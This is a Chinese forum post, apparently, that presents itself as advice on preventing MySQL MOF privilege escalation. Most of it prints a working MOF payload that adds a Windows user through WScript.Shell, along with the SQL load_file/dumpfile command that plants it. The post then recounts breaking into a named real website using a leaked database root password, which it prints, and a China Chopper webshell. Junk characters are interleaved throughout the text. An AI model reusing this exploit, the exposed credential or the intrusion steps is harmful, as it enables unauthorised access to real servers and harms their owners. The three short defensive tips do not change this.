Mysql mof扩展漏洞防范方法+ h* Z7 [& |2 Z" p8 h
, {5 r% ?- O7 Y, i7 {, ^
网上公开的一些利用代码:6 V! t9 ?. y _! |9 A8 S
) z, N9 x( x( m' G# Z& O
#pragma namespace(“\\\\.\\root\\subscription”)# W5 Z( ]' i9 \. t( o; p
; }1 I: \3 c0 c# rinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
" ]- Y9 ]+ D: x0 s1 k; c, u5 s3 A7 s) Y
8 Y3 \2 l; I/ \( t6 b3 N/ L! e2 l5 \ h1 w) h: H
3 n1 G5 b6 |6 |- m' g% T; |8 G% m4 U3 m6 f3 h7 M; {0 p# v& R3 t* ]
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;3 J7 S$ a6 {3 [7 P
从上面代码来看得出解决办法:. T" {; r2 b. [8 V* s
1 U! h8 ~+ j( p* z$ n1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数) J7 j) X8 ?' r) A- k# ^
9 ]* o- h( c# }, o( w, K5 @2、禁止使用”WScript.Shel”组件/ C* A; u/ |8 g5 i3 L
# w0 T2 J6 R) k) z0 l. `
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
: M* S" q: R4 p5 o# ?4 }
1 z( S( o) D }1 Y) T当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
1 `9 u0 E+ b& N& M% s0 @ g, O7 h, R* J& E. ]
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
( D A. y1 @- Y3 X
! C9 H# \7 P7 Q+ C% A2 i. a但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
, S1 b1 g& P5 ]* `4 F+ X8 E4 U$ ]) d# T2 `
看懂了后就开始练手吧
2 Z" _8 M- I6 J6 Z+ l) s
Y- w+ R) M: H; i3 _ F' @http://www.webbmw.com/config/config_ucenter.php 一句话 a
4 X6 V5 Q& h) [* ^3 X. H4 `8 x% E7 l3 _( Y
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
9 g3 k$ m( J- k4 n4 A
* x, ~) C1 Z" E5 E0 E于是直接用菜刀开搞
2 U8 q% T ?9 {
/ t+ Y& a* @/ j" I# m上马先0 s" a0 j& n! R4 U! b
. a7 |+ h) L& \( n* |$ _; c
既然有了那些账号 之类的 于是我们就执行吧…….. ? Y r* c1 X- c# C
' |( t# l( k: P( L7 G! s# B" e小小的说下
" }3 L" b$ H3 x" B
& l4 l4 r9 t0 D( R* |在这里第1次执行未成功 原因未知- S. E" E" Q6 f/ T& e8 {
0 E8 }: I5 A6 x/ x: f我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。) e$ W' E+ O% O% l9 [0 f$ f" P
& z5 F8 ]+ `( H* T4 t/ x
#pragma namespace(“\\\\.\\root\\subscription”)! j* R6 h' w* }3 T; r9 c) `
: [' }, g3 Z+ i) o& q8 n8 v7 `instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };! H( F+ x3 ?0 r# y6 U6 w0 T" o
4 O( {1 w1 H* G! g0 l4 t( p我是将文件放到C:\WINDOWS\temp\1.mof+ i% d* b$ n1 p- Q0 d- O5 P& X
& w4 r5 V' X7 R/ @6 q
所以我们就改下执行的代码/ w; B9 |/ |$ I6 B
- v9 u3 @6 i6 G& d) q& f
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;& F0 w$ v+ _! C6 ^
% c# I ?+ y9 R# e0 Q& g4 o" {
4 T( x' z# J; _1 i! c/ W
! n3 ?& a& b! F5 w- S
但是 你会发现账号还是没有躺在那里。。
" t6 K% D$ E: z b
+ C* z! q5 c S, G: o: N于是我就感觉蛋疼
T q# w( k: B( Y+ S K; z/ u6 O5 D$ O' z. i, l
就去一个一个去执行 但是执行到第2个 mysql时就成功了………( o: o: d8 ^7 ?* m1 e y
- H6 ?6 `& S" _
3 h( Q; s" X, E) f- z4 x' \# _0 g* ~) k5 D% l; U( k% J) R
但是其他库均不成功…
9 [& `6 z- }" U# g6 D$ Z% M: A# q8 r+ E
* V1 \$ b$ A: u; R6 t& a) c& N4 l我就很费解呀 到底为什么不成功求大牛解答…
; v3 }$ U) G5 w7 P$ C1 C+ J! F" o8 F$ F- w* D7 D
# q! b/ X4 S) I+ ^) ?
; ^% |0 S) D7 B8 E$ i5 o
|